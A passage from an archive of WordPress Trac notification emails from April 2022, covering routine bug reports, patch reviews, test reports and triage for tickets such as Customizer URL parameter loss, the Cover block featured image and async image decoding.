custom link of `/my-page/?myvar[]=A&myvar[]=B` the URL of the menu for the preview is rewritten to `/my- page/?myvar[]=B&customize_changeset_uuid=...`, losing `myvar[]=A`. This is also happening to the URL of the page itself (the preview's IFRAME src) when for example there is a form with a multi-select field submitted. Assume we have the form below on /my-page/: {{{ <form method="get" action="/my-page/"> <select name="myfield[]" multiple="multiple"> <option value="A">A</option> <option value="B">B</option> <option value="C">C</option> <option value="D">D</option> </select> <input type="submit" value="Apply Filters"> </form> }}} If you select A and B and C and submit the form, it is expected that that page refreshes with the new URL of `/my- page/?myfield[]=A&myfield[]=B&myfield[]=C&customize_changeset_uuid=...`, however, I am seeing the following URL instead with the A and B values lost in the preview's IFRAME src: `/my- page/?myfield[]=C&customize_changeset_uuid=...` -- Ticket URL: <https://core.trac.wordpress.org/ticket/55587> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 18:22:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 18:22:39 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.a4a3d9d39efede891d87ecfa2967f654@wordpress.org> #55580: Featured image in Cover block missing from published page ---------------------------------------+--------------------- Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots has-patch | Focuses: ---------------------------------------+--------------------- Comment (by Mamaduka): Hey, folks I've created the PR that should fix the issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 18:40:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 18:40:36 -0000 Subject: [wp-trac] [WordPress Trac] #53218: Make apply_filters() variadic In-Reply-To: <055.a6bc37eac8878e850ce543a48e7ba79c@wordpress.org> References: <055.a6bc37eac8878e850ce543a48e7ba79c@wordpress.org> Message-ID: <070.9050a92d1051e8ab54a745c7fac0e99e@wordpress.org> #53218: Make apply_filters() variadic -------------------------------------------------+------------------------- Reporter: johnbillion | Owner: | johnbillion Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Plugins | Version: 5.3 Severity: normal | Resolution: fixed Keywords: has-patch early commit needs-dev- | Focuses: note needs-docs | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch early commit => has-patch early commit needs-dev- note needs-docs Comment: This one probably needs updating usage example in code https://core.trac.wordpress.org/browser/trunk/src/wp- includes/plugin.php?rev=52952#L135,L151 And most likely reviewing user contributed notes in https://developer.wordpress.org/reference/functions/apply_filters/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/53218#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 18:52:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 18:52:28 -0000 Subject: [wp-trac] [WordPress Trac] #55509: CSS conflict in Custom Fields table In-Reply-To: <057.400e162815f03bec1006e511f146fb6b@wordpress.org> References: <057.400e162815f03bec1006e511f146fb6b@wordpress.org> Message-ID: <072.5344ac61b696098d85f0c64259b88c88@wordpress.org> #55509: CSS conflict in Custom Fields table ---------------------------+------------------------------ Reporter: princeofabyss | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.1 Severity: normal | Resolution: Keywords: | Focuses: css ---------------------------+------------------------------ Changes (by sabernhardt): * component: General => Editor Comment: I only noticed the `alternate` class in the block editor, though the Custom Fields table is also in the Classic editor. The background colors are defined in edit.css and common.css (wp-admin). The next-darkest gray is `#f0f0f1`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55509#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 19:02:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 19:02:15 -0000 Subject: [wp-trac] [WordPress Trac] #53218: Make apply_filters() variadic In-Reply-To: <055.a6bc37eac8878e850ce543a48e7ba79c@wordpress.org> References: <055.a6bc37eac8878e850ce543a48e7ba79c@wordpress.org> Message-ID: <070.31ee3208bdb0792c3bdc5b4bc4269cb6@wordpress.org> #53218: Make apply_filters() variadic -------------------------------------------------+------------------------- Reporter: johnbillion | Owner: | johnbillion Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Plugins | Version: 5.3 Severity: normal | Resolution: fixed Keywords: has-patch early commit needs-dev- | Focuses: note needs-docs | -------------------------------------------------+------------------------- Comment (by johnbillion): I don't believe any of the docs need changing because the usage hasn't changed, just the internals. Anything I'm missing? -- Ticket URL: <https://core.trac.wordpress.org/ticket/53218#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 19:06:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 19:06:11 -0000 Subject: [wp-trac] [WordPress Trac] #55588: Enhancement request: Allow me to prevent admin_email changes Message-ID: <051.8dd74ca19d7ae79c7d6fbabece0577e1@wordpress.org> #55588: Enhancement request: Allow me to prevent admin_email changes ----------------------------+----------------------------- Reporter: desmith | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: 5.9.3 Severity: minor | Keywords: Focuses: | ----------------------------+----------------------------- Subject says it all :) I would like a way to prevent changes to the admin_email option (the "Administration Email Address" on Settings -> General). The first/most obvious way to do this, to me at least, would be to create a new define, similar to WP_SITEURL, that always overrides the value of admin_email. That seems more comprehensive, but would involve digging into a lot of different places. Another possible implementation is to add a filter to update_option_new_admin_email (in wp-admin/misc.php) that lets you abort that call early. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55588> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 19:26:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 19:26:53 -0000 Subject: [wp-trac] [WordPress Trac] #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed In-Reply-To: <056.ebc3b4dce413ea21a93e87f931f23846@wordpress.org> References: <056.ebc3b4dce413ea21a93e87f931f23846@wordpress.org> Message-ID: <071.1faeec909b5cc7cf4bc2a590b5003d85@wordpress.org> #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed ---------------------------+------------------------------ Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: ---------------------------+------------------------------ Changes (by sabernhardt): * component: General => Bundled Theme -- Ticket URL: <https://core.trac.wordpress.org/ticket/55581#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 19:36:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 19:36:16 -0000 Subject: [wp-trac] [WordPress Trac] #55492: `Dismiss Errors` button alignment is not centered in Media Library. In-Reply-To: <053.4fe5c4fa6528e6e4d1c4ac58c8aa0653@wordpress.org> References: <053.4fe5c4fa6528e6e4d1c4ac58c8aa0653@wordpress.org> Message-ID: <068.1cd1e8d18b1a3e6ed6b6af9652ae2132@wordpress.org> #55492: `Dismiss Errors` button alignment is not centered in Media Library. -------------------------------------------------+------------------------- Reporter: iamjaydip | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Media | Version: 5.9.2 Severity: normal | Resolution: Keywords: has-patch has-screenshots needs- | Focuses: css, testing | administration -------------------------------------------------+------------------------- Changes (by sabernhardt): * focuses: => css, administration * component: General => Media -- Ticket URL: <https://core.trac.wordpress.org/ticket/55492#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 21:04:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 21:04:59 -0000 Subject: [wp-trac] [WordPress Trac] #50886: docs: Improve help text about site vs. WordPress URL settings In-Reply-To: <056.8955d18b70f36e3c7270cacf8ec3abbb@wordpress.org> References: <056.8955d18b70f36e3c7270cacf8ec3abbb@wordpress.org> Message-ID: <071.ab5481cf1f3e25e29f70cf4400b7309b@wordpress.org> #50886: docs: Improve help text about site vs. WordPress URL settings --------------------------+------------------------------------------------ Reporter: tobifjellner | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Help/About | Version: Severity: normal | Resolution: Keywords: | Focuses: ui, docs, administration, ui-copy --------------------------+------------------------------------------------ Comment (by marybaum): Looks like this patch could use some review and testing. I will test the patch and, if it works properly (it's copy ... so I'm optimistic) then I'll ask for review toward commit in this week's devchat. -- Ticket URL: <https://core.trac.wordpress.org/ticket/50886#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 21:05:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 21:05:43 -0000 Subject: [wp-trac] [WordPress Trac] #50886: docs: Improve help text about site vs. WordPress URL settings In-Reply-To: <056.8955d18b70f36e3c7270cacf8ec3abbb@wordpress.org> References: <056.8955d18b70f36e3c7270cacf8ec3abbb@wordpress.org> Message-ID: <071.3db79b7cb486865c7fd62702e60a2101@wordpress.org> #50886: docs: Improve help text about site vs. WordPress URL settings --------------------------+------------------------------------------------ Reporter: tobifjellner | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Help/About | Version: Severity: normal | Resolution: Keywords: | Focuses: ui, docs, administration, ui-copy --------------------------+------------------------------------------------ Comment (by webcommsat): Discussed in bug scrub. Text reviewed. @marybaum, @webcommsat and anyone else who is available to also test the patch in a local install, and if that works, to ask for it to be raised in devchat open floor for review towards commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/50886#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 22:30:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 22:30:02 -0000 Subject: [wp-trac] [WordPress Trac] #55471: Enhancement: Social Media block - Adding mailto for email In-Reply-To: <050.de6b723177713ce59e7d6d41233906cd@wordpress.org> References: <050.de6b723177713ce59e7d6d41233906cd@wordpress.org> Message-ID: <065.becc4029f84d1cf2c44fad5f2b358dd8@wordpress.org> #55471: Enhancement: Social Media block - Adding mailto for email -------------------------+-------------------------------- Reporter: mmiixx | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: Editor | Version: Severity: minor | Resolution: reported-upstream Keywords: | Focuses: -------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * component: General => Editor * milestone: Awaiting Review => Comment: Thanks for the report! Part of this sounds like the following issue on GitHub: https://github.com/WordPress/gutenberg/issues/21876 The gray color might have happened because switching to the "Logos Only" style removes the "Icon background" color setting in WordPress 5.9.3. I tried the same in WordPress 6.0 Beta 1, and it seems to have been fixed for the upcoming version. I'll close this ticket. If you have anything to add to [https://github.com/WordPress/gutenberg/issues/21876 issue 21876], please comment there. And you could [https://github.com/WordPress/gutenberg/issues/new/choose open a new issue] for other block editor bugs and enhancements. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55471#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 04:03:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 04:03:04 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.0d4821964b2761f0099b3435eed7f290@wordpress.org> #55580: Featured image in Cover block missing from published page ---------------------------------------+--------------------- Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots has-patch | Focuses: ---------------------------------------+--------------------- Comment (by costdev): == Test Report === Environment * Server: Apache (Linux) * WordPress: 6.0-beta1-53167-src * Browser: Chrome 100.0.4896.88 * OS: Windows 10 * Theme: Twenty Twenty-Two * Plugins: None activated === Steps 1. Create a new post. 2. In the **Settings** sidebar (opened via the "cog" icon), select the "Post" tab. 3. Expand the "Featured image" section, and click "Set featured image". 4. Select or upload an image, and click the **Set featured image** button when done. 5. At the block inserter, add a new Cover block (e.g. by typing the `/cover` shortcut). 6. In the block toolbar, select the "Use featured image" icon (adjacent to "Add Media"). 7. Observe that the featured image selected in Step 4 is displayed in the block. ✅ 8. Publish the post. 9. Open the post on the frontend of the site, **and scroll past the template's default featured image, if present** (see note below). 10. Observe that the Cover block background is gray, and does not display the featured image. ❌ 11. Apply [https://github.com/WordPress/wordpress-develop/pull/2601 PR 2601]. 12. Refresh the post on the frontend. Observe that the Cover background is not displaying the featured image. ✅ === Results 1. Without [https://github.com/WordPress/wordpress-develop/pull/2601 PR 2601], the featured image does not appear. 2. With [https://github.com/WordPress/wordpress-develop/pull/2601 PR 2601], the featured image appears. ✅ === Notes - Tests are failing on [https://github.com/WordPress/wordpress- develop/pull/2601 PR 2601] due to a `_doing_it_wrong()` being thrown when the `core/cover` block is already registered. I have left a comment on the PR with a suggested solution that causes the tests to pass while still showing the featured image as expected. - The `render_block_core_cover()` function doesn't have any tests written for it. These should be added and reviewed prior to commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 04:13:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 04:13:19 -0000 Subject: [wp-trac] [WordPress Trac] #55584: Settings API autoload hook In-Reply-To: <051.9361e62298ed97a81111b162cc67810d@wordpress.org> References: <051.9361e62298ed97a81111b162cc67810d@wordpress.org> Message-ID: <066.78b975e97cfda1dccfea052162db580f@wordpress.org> #55584: Settings API autoload hook --------------------------------+------------------------------ Reporter: hir88en | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Options, Meta APIs | Version: Severity: normal | Resolution: Keywords: | Focuses: performance --------------------------------+------------------------------ Changes (by costdev): * focuses: => performance * component: General => Options, Meta APIs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55584#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 04:14:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 04:14:57 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.d29a4cabf2ed6f252eb15f36ad7e0135@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by wparslan): @sabernhardt it will affect the `wp_login_form()` what if someone needs separate parameters. Real Pain eh? I suggest that the filter's name should be changed here, that way we can have flexibility. What do you think @sabernhardt ? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 04:24:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 04:24:35 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.18655284c0ab2b1509acfd945fd2ec8e@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "53232.10.diff" added. Patch refresh. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 04:28:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 04:28:17 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.dfb54e121742e2194cedb38fb69d009f@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress --------------------------------------+------------------------------ Reporter: isaumya | Owner: adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+------------------------------ Changes (by costdev): * keywords: has-patch has-unit-tests needs-refresh => has-patch has-unit- tests Comment: [https://core.trac.wordpress.org/attachment/ticket/53232/53232.10.diff 53232.10.diff] refreshes the previous patch with the following updates: - Fix failing tests. - Add dedicated tests for `wp_img_tag_add_decoding_attr()`. - Change `false === strpos()` to `! str_contains()`, which was polyfilled in WordPress 5.9. - Fix some documentation alignment issues. - Adjust the documented type of `$value` for the `wp_img_tag_add_decoding_attr` filter. - This was previously `string|bool`, but is documented to be `string|falsey`. Reasonable falsey values for a callback for this filter would be `''`, `false` or `null`. The type for `$value` has been adjusted to `string|false|null`. - @peterwilsoncc has applied these changes to [https://github.com/WordPress/wordpress-develop/pull/2409 PR 2409]. @adamsilverstein can you take a look at the above changes and let me know your thoughts? -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:62> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 04:29:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 04:29:40 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.c24c89699b4c43b49840cec9d6c3c371@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- dev-note -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:63> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:12:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:12:58 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.ed6ae39bb80b15ff8d47ce3edaf03597@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: ------------------------------------+------------------------------ Changes (by sabernhardt): * keywords: has-patch => needs-patch Comment: Yes, it would need a new name. I thought anyone who edits the labels in the filter would want those changes in any login form. Of course, if I'm wrong in any case, automatically replacing the label text on the standard form would not be good. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:16:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:16:05 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.df7e6f12aa446b6f56877d97ad6358d0@wordpress.org> #55580: Featured image in Cover block missing from published page -------------------------------------------------+------------------------- Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots has-patch needs- | Focuses: refresh dev-feedback | -------------------------------------------------+------------------------- Changes (by chaion07): * keywords: has-screenshots has-patch => has-screenshots has-patch needs- refresh dev-feedback Comment: Thanks @ironprogrammer for reporting this. We reviewed this ticket during a recent bug-scrub session. Based on the feedback received from the team we're updating the ticket with the following changes: 01. Adding keyword needs-refresh 02. Adding keyword dev-feedback since George's PR needs an update and he asked for Greg's feedback Props to @costdev Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:16:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:16:31 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.dcc96d148d030518280a21c2a0dd263c@wordpress.org> #55580: Featured image in Cover block missing from published page -------------------------------------------------+------------------------- Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots has-patch needs- | Focuses: refresh dev-feedback needs-unit-tests | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-screenshots has-patch needs-refresh dev-feedback => has- screenshots has-patch needs-refresh dev-feedback needs-unit-tests -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:22:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:22:30 -0000 Subject: [wp-trac] [WordPress Trac] #14179: Theme asking to update (theme with same name on WordPress.org) In-Reply-To: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> References: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> Message-ID: <073.529b5044c2f34e1757d803cdc2ddcaa0@wordpress.org> #14179: Theme asking to update (theme with same name on WordPress.org) -------------------------------------------------+------------------------- Reporter: design_dolphin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: testing dev-feedback | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch needs-unit-tests needs-testing => has-patch needs- unit-tests needs-testing dev-feedback Comment: This ticket was discussed in the bug scrub. There are currently two patches: - [https://github.com/WordPress/wordpress-develop/pull/950 PR 950] - [https://core.trac.wordpress.org/attachment/ticket/14179/14179 -UpdateURI-header.diff 14179-UpdateURI-header.diff] Both should be reviewed and one chosen to progress this ticket. Adding `dev-feedback`. As already indicated by `needs-unit-tests`, there are no unit tests included in either patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/14179#comment:87> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:31:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:31:00 -0000 Subject: [wp-trac] [WordPress Trac] #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink In-Reply-To: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> References: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> Message-ID: <078.1cd67fb4e594d4bc9381802ab855e87c@wordpress.org> #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink -------------------------------------+----------------------- Reporter: vladimir_kolesnikov | Owner: pbiron Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: critical | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------- Changes (by costdev): * Attachment "15134.3.diff" added. Refreshes 15134.2.diff with PHPCS fixes and a slight cleanup of a multi- line condition. -- Ticket URL: <https://core.trac.wordpress.org/ticket/15134> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:33:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:33:15 -0000 Subject: [wp-trac] [WordPress Trac] #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink In-Reply-To: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> References: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> Message-ID: <078.f9521296591b3fede506eab46d86ff94@wordpress.org> #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink --------------------------------------------------+----------------------- Reporter: vladimir_kolesnikov | Owner: pbiron Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: critical | Resolution: Keywords: has-patch needs-testing dev-feedback | Focuses: --------------------------------------------------+----------------------- Changes (by mikeschroder): * keywords: has-patch needs-testing => has-patch needs-testing dev- feedback Comment: This ticket was looked into today [https://wordpress.slack.com/archives/C02RQBWTW/p1650345455870509 during a 6.0 bug scrub]. The patch still applies as expected. Adding `dev-feedback` to try to get a review to help this move forward. Also, I [https://wordpress.slack.com/archives/CULBN711P/p1650346128574949 reached out] to some of the folks that have been working on auto-updates, to see if a review from that team might be possible, as it overlaps with the maintainers of this component. -- Ticket URL: <https://core.trac.wordpress.org/ticket/15134#comment:38> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:33:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:33:54 -0000 Subject: [wp-trac] [WordPress Trac] #35357: Introduce did_filter() In-Reply-To: <051.88bad4459b3848d3672f1be124ec675f@wordpress.org> References: <051.88bad4459b3848d3672f1be124ec675f@wordpress.org> Message-ID: <066.d80b0fd87b8b9223625a5ec820c8c64c@wordpress.org> #35357: Introduce did_filter() -------------------------------------------------+------------------------- Reporter: mordauk | Owner: chriscct7 Type: enhancement | Status: accepted Priority: normal | Milestone: 6.1 Component: Plugins | Version: 2.1 Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing | -------------------------------------------------+------------------------- Changes (by markparnell): * keywords: has-patch has-unit-tests needs-refresh => has-patch has-unit- tests needs-testing * milestone: => 6.1 Comment: Hi @VibeThemes, we're already in the beta period for `6.0` so it's too late for it to be considered for inclusion in the next major release, but I've moved it into the `6.1` milestone for visibility. Per my previous comment, feel free to raise it during devchat in #core to get some more eyes on it (though I'd recommend waiting after `6.0` is released as until then that will be the focus). Pinging @chriscct7 also to check whether he's still happy to own this one? -- Ticket URL: <https://core.trac.wordpress.org/ticket/35357#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:53:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:53:40 -0000 Subject: [wp-trac] [WordPress Trac] #33388: WP_Theme should use get_file_data() for retrieving page templates In-Reply-To: <048.061a085f96668a234b38023317b1e563@wordpress.org> References: <048.061a085f96668a234b38023317b1e563@wordpress.org> Message-ID: <063.dfe41ceff20420554406537849c7c249@wordpress.org> #33388: WP_Theme should use get_file_data() for retrieving page templates -------------------------------------------------+------------------------- Reporter: dd32 | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Future | Release Component: Themes | Version: Severity: normal | Resolution: Keywords: needs-testing has-patch needs- | Focuses: refresh | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: Per discussion in recent bug scrub, I'm moving this off 6.0. Props @costdev, @chaion07 -- Ticket URL: <https://core.trac.wordpress.org/ticket/33388#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 05:55:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 05:55:17 -0000 Subject: [wp-trac] [WordPress Trac] #30854: `wp_insert_post` doesn't save revision for new published post In-Reply-To: <056.2bb503cec4d5a68bfeffb1a4e03bb79c@wordpress.org> References: <056.2bb503cec4d5a68bfeffb1a4e03bb79c@wordpress.org> Message-ID: <071.84cf05278fe36e4e19b25a0f6e1cb6e8@wordpress.org> #30854: `wp_insert_post` doesn't save revision for new published post -------------------------------------------------+------------------------- Reporter: JamesDiGioia | Owner: | adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future | Release Component: Revisions | Version: 